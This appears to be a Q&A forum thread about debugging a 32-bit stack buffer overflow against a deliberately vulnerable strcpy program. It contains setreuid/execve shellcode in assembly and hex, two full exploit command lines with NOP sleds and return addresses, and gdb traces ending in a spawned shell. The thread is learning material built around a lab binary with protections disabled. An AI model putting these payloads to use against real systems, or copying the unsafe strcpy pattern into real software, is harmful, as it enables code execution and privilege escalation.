2

I've written a vulnerable program (below) and some shellcode (also below) to use in a buffer overflow exploit. I've had the same problems as in this link, and solved those using the answers there (-z execstack, -fno-stack-protector). I'm now having a problem alluded to in a comment.

I overwrite the return address such that it points to the middle of a NOP-sled (to "\x38\xcf\xff\xff", little-endian, found using x/500x $esp-500 in gdb). The program (command at very bottom) then gives a segmentation fault:

0xffffa0e8 in ?? ()

(gdb) info register
eax            0xfffffffc   -4
ecx            0xffffd070   -12176
edx            0x0  0
ebx            0xffffd074   -12172
esp            0xffffd06c   0xffffd06c
ebp            0x2368732f   0x2368732f
esi            0x0  0
edi            0x0  0
eip            0xffffa0e8   0xffffa0e8
eflags         0x10246  [ PF ZF IF RF ]
cs             0x23 35
ss             0x2b 43
ds             0x2b 43
es             0x2b 43
fs             0x0  0
gs             0x63 99
(gdb) 

The rightmost byte of the return address is not what it should be (eip should read 0xffffcf38). If I change the return address to nonsense, say, "0xffffdddd", I get:

Program received signal SIGSEGV, Segmentation fault.
0xffffddfd in ?? ()

almost as expected - a "d" has changed to an "f"! A return address of "0x42424242" works as expected: segfault, 0x42424242 in ?? ()

So: the expected behaviour is to start /bin/bash. The actual behaviour is to give a segmentation fault, giving as a return address something other than the address I'm trying to overwrite the EIP with. The question is: why does this happen, and how can I stop it?

The vulnerable program:

#include <stdio.h>
#include <string.h>

int main(int argc, char** argv) {
    char buffer[500];
    strcpy(buffer, argv[1]);

    return 0;
}

Compiled with:

gcc -g -m32 -fno-stack-protector -z execstack -o ./vuln ./vuln.c

The shellcode (from or largely from here) in assembly:

BITS 32

; setreuid(0, 0)
xor eax, eax
mov al, 70
xor ebx, ebx
xor ecx, ecx
int 0x80

jmp short two

one:
pop ebx

;execve("/bin/sh", ["/bin/sh", NULL], NULL)
xor eax, eax
mov byte [ebx+7], al
push eax
push ebx
mov ecx, esp
xor edx, edx
int 0x80

two:
call one

db  "/bin/sh#"

Assembly is compiled with:

nasm -bin -o shellcode shellcode.asm

The attack is run in gdb, using the commands:

gdb vuln

and

run $(python -c 'print "\x90" * 473 + "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x0e\x5b\x31\xc0\x88\x43\x07\x50\x53\x89\xe1\x31\xd2\xcd\x80\xe8\xed\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23" + "\x38\xcf\xff\xff"')

The system is Linux Mint 17.1 64-bit, running in VirtualBox.

1

Disclaimer: I am super new to this and wrote this answer to improve my comprehension of buffer-overflows

I think you have 3 problems:

  • The shell code is missing one byte in the end to be aligned
  • The shell code is too close to the return pointer
  • You forgot the jump back to ebp before jumping to your code

My understanding is that even though eip is going to be moved to the address you specified, the stack is going to be at the end your shell code + 4 bytes -- because ret will pop then move it to eip.

Also your problem made me realize something as I was really struggling on the same thing: The stack still moves as it is executing your shell code. If esp is too close to your shell code, push and pop instructions can mess around your own shell code.

What I suggest is then:

  • Start filling up the buffer to 75% of Nop
  • Insert shell code
  • Pad shell code to the nearest byte
  • Insert the remaining Nop
  • Insert twice the return pointer -- once for leave and the other for ret

I've tried this with a different shell code:

$> env -i vuln $(python -c 'print "\x90" * 352 + "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*101 + "\x48\xfc\xff\xbf"+"\xf0\xfa\xff\xbf"')
$ id
uid=1001(user) gid=1001(user) groups=1001(user)

Using GDB:

ebp            0xbffffc48       0xbffffc48
esp            0xbffffa30       0xbffffa30

ESP:
0xbffffa30:     0xbffffa4c      0xbffffdda      0xb7fff524      0x00000000
0xbffffa40:     0xb7fff524      0xbffffad0      0xb7fe35c9      0x90909090
0xbffffa50:     0x90909090      0x90909090      0x90909090      0x90909090

EIP:
0x80483ed <main+41>:    leave
0x80483ee <main+42>:    ret
0x80483ef:      nop

Then next instruction:

ebp            0xbffffaf0       0xbffffaf0
esp            0xbffffc4c       0xbffffc4c

ESP:
0xbffffc4c:     0xbffffaf0      0x00000000      0xbffffcf4      0xbffffd00

EIP:
0x80483ee <main+42>:    ret

We jump to the address in $esp:

ebp            0xbffffaf0       0xbffffaf0
esp            0xbffffc50       0xbffffc50

ESP:
0xbffffc50:     0x00000000      0xbffffcf4      0xbffffd00      0xb7fe1848
0xbffffc60:     0xbffffcb0      0xffffffff      0xb7ffeff4      0x08048234

EIP:
0xbffffaf0:     nop

And let the slide begin:

(gdb) c
Continuing.
Executing new program: /bin/dash
$

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.